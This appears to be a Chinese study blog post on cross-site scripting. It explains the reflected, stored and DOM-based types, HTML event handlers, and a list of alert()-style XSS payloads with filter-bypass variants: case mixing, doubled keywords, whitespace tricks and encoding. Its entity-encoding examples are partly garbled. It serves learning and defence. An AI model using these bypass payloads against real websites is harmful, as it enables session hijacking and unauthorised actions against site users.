zyNo.24
xss漏洞
1.xss漏洞的基础概念
(1)原理
XSS(跨站脚本攻击)主要基于JavaScript语言进行恶意攻击,利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript类型,也包括java、vbs、flash、html等(因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就直接解析了。)
(2)危害
窃取cokie(预防方式将cookie中的httponly属性设为ture参考文章如何将cookie中httponly属性设置为true?(预防XSS攻击)-CSDN博客),未授权操作(例如:X劫持会话,刷流量,执行弹窗广告,还能记录用户的键盘输入),传播蠕虫病毒
2.XSS漏洞分类
(1) 反射型
-
定义:攻击者通过构造包含恶意脚本的URL或表单提交数据,将恶意代码通过请求传递给服务器,如果服务器端未对URL携带的参数做判断和过滤,直接返回响应页面浏览器,最终被浏览器执行。
-
特点:
-
即时性(恶意代码不存储在服务器端)
-
攻击通常需要用户点击恶意链接或提交恶意表单。
-
-
攻击流程:(浏览器---->后端---->浏览器)
-
攻击者构造包含恶意脚本的链接或表单。
-
用户点击链接或提交表单,恶意代码被发送到服务器。
-
服务器将恶意代码反射回用户的浏览器。
-
浏览器解析并执行恶意代码。
-
-
常见场景:网站搜索框、登录页面、表单提交等。
(2) 存储型
-
定义:攻击者将恶意脚本存储在服务器端(如数据库或文件中),当其他用户访问相关页面时,恶意代码被加载到用户的浏览器中并执行。
-
特点:
-
持久性(恶意代码存储在服务器端)
-
危害大范围广(所有访问该页面的用户都可能受到攻击)
-
-
攻击流程:(浏览器—>后端—>数据库—>后端—>浏览器)
-
攻击者将恶意脚本提交到服务器(如在论坛、留言板或评论中)。
-
服务器将恶意脚本存储在数据库或文件中。
-
其他用户访问该页面时,服务器加载并返回包含恶意脚本的内容。
-
用户的浏览器解析并执行恶意代码。
-
-
常见场景:论坛、博客、留言板、评论区等。
(3)DOM(不好利用好)
首先了解首先什么是DOM? 什么又是DOM树,参考资料什么是DOM?你了解DOM树吗?-CSDN博客文章浏览阅读4.4w次,点赞136次,收藏406次。在找工作的过程中,看到了招聘信息上有写这么一条信息:掌握WEB前端开发技术:JavaScript(含ES6)、HTML、CSS、DOM等看见这条信息我心里安心了不少,都是一些基础问题,但是乍一看DOM,脑子有点短路了,上网查了下脑子清醒了。什么DOMDOM(Document Object Model)即文档对象模型,是W3C制定的标准接口规范,是一种处理HTML和XML文件的标准API。DOM提供了对整个文档的访问模型,将文档作为一个树形结构,树的每个结点表示了一个HTML标签或标签内的文本项。_dom树https://blog.csdn.net/wei1273356078/article/details/106543967?fromshare=blogdetail&sharetype=blogdetail&sharerId=106543967&sharerefer=PC&sharesource=2401_88743143&sharefrom=from_link
就是为了让JavaScript可以对文档中的标签、属性、内容等进行 访增删改 操作,具体示例看我另一篇文章DOM让JavaScript可以对文档中的标签、属性、内容等进行 访增删改 操作-CSDN博客首先,我们有一个简单的 HTML 文件。https://blog.csdn.net/2401_88743143/article/details/145619198?sharetype=blogdetail&sharerId=145619198&sharerefer=PC&sharesource=2401_88743143&sharefrom=mp_from_link
-
定义:DOM(文档对象模型,)攻击者通过客户端JavaScript代码动态修改页面的DOM结构,从而插入并执行恶意代码。
-
特点:
-
不依赖服务器端的响应,恶意代码完全由客户端JavaScript执行。
-
不会被传统的WAF检测到。
-
-
攻击流程:
-
攻击者构造包含恶意参数的URL。
-
用户访问该URL,服务器返回正常的HTML页面。
-
页面中的JavaScript代码读取URL参数并动态修改DOM结构。
-
浏览器解析并执行插入的恶意代码。
-
-
常见场景:页面中包含动态读取URL参数并修改DOM的JavaScript代码。
总结
三种XSS攻击类型的主要区别在于恶意代码的存储和执行方式:
反射型XSS:即时反射,不存储,依赖用户交互。
存储型XSS:持久存储,影响范围广。
DOM型XSS:完全基于客户端,不经过服务器处理。
3.HTML中XSS常利用事件
很多时候,我们并不能直接插入Script标签去进行XSS,这时我们就要想办法借助其他标签的事件,如img,audio等标签。例如<img src='xxxx' οnerrοr='alert (1)' />图片地址加载失败,触发onerror标签,这个标签里的代码会在图片加载出错时执行。
常用的事件标签:
• onerror:在该标签加载资源出错时会被执行。
• onload:在资源被加载时会被执行。
• onmouseover:在鼠标略过这个元素时会被执行。
• onfocus:当页面的焦点被聚集到这个元素上(如用键进行选择)时会被执行。
其他xss常用标签和触发事件参考资料xss常用标签和触发事件_xss标签-CSDN博客文章浏览阅读986次,点赞5次,收藏17次。img src="x" οnerrοr=document.location=``//www.baidu.com``>html标签中用//可以代替http://(````只有两个``)_xss标签https://blog.csdn.net/2301_81475812/article/details/137755213?fromshare=blogdetail&sharetype=blogdetail&sharerId=137755213&sharerefer=PC&sharesource=2401_88743143&sharefrom=from_link
4.XSS payload及变形
1.payload构造
(1)利用伪协议(HTML标签的属性值)
<a href="javascript:alert(/xss/)">touch me !< /a>
<img src="javascript:alert('xss')"> #需在IE6测试
(2)利用事件
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
<input type="text" onclick="alert(/xss/)">
(3)利用CSS (只做了解)
行内样式
<div style="background-image:url(javascript:alert(/xss/))">
页内样式
<style>Body{background-image:url(javascript:alert(/xss/))}</style>
(4)利用【<>】构造HTML标签和标签
<h1 style="color:green;">XSS</h1>
<script>alert(/xss/)</script>
2.payload变形
(1)大小写
<iMg sRc='#'Onerror="alert(/xss/)"/>
<a hREf="javaScript:alert(/xss/)">click me </a>
(2)双关键字
<scrscript>alert(/xss/)</scrscript>
(3)【/】代替空格
<img/src='#'onerror='alert(/xss/)'/>
(4)引号
在js当中可以用反引号代替单双引号,在HTML中就不需要。
<img src="#"onerror="alert(/xss/)"/>
<img src='#'onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/)/>
<img src="#"onerror=alert('xss')/>
<img src="#"onerror=alert'xss'/>
(5)Tab与回车
在一些位置添加Tab(水平制表符)和回车符来绕过关键字检测
<img src='#'onerror ='alert(/xss/)'/>
<a href="j avascript:alert(/xss/)">click me!</a>
<A href="j
avascript:alert(/xss/)">click me!</a>
(6)编码
URL编码
%3Cscript%3Ealert(/xss/)%3C/script%3E
HTML实体编码
a 97
(a) “7”后面还有美式分号“;”
= “1”后面还有美式分号“;”
<a href="javascript:alert(/xss/)">click me!</a>